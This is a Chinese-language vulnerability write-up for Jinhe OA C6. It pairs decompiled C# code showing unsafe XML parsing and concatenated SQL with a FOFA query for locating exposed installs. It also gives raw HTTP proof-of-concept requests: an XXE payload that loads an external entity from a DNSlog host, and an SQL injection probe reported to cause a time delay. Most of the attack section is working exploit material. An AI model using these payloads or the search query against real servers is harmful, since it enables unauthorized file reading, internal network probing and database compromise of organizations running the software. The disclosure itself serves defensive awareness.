漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.Archives/XmlHttp.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
直接根据 Jhsoft.Web.Archives/XmlHttp.aspx 在 bin 目录下查找 JHSoft.Web.Archives.dll 将其进行反编译后找到 ArchivesRoomDeptSave 的处理逻辑
public class XmlHttp : Page
{
protected void Page_Load(object sender, EventArgs e)
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(this.Request.InputStream);
string QueryString = $"select ArchivesID from Archives where ArchivesID in ({xmlDocument.SelectSingleNode("//Root//ArchivesId").InnerText}) and (ArchivesGD=1 or DelFlag=1)";
DataTable dataTable = DBOperatorFactory.GetDBOperator().ExecSQLReDataTable(QueryString);
if (((InternalDataCollectionBase) dataTable.Rows).Count > 0 && dataTable != null)
this.Response.Write("y");
else
this.Response.Write("n");
}
请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。
漏洞复现
XXE
POST /c6/Jhsoft.Web.Archives/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
在DNSLOG平台成功收到HTTP请求

SQL
POST /c6/Jhsoft.Web.Archives/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<Root><ArchivesId>SQLI_POC</ArchivesId></Root>

成功延时 4 秒

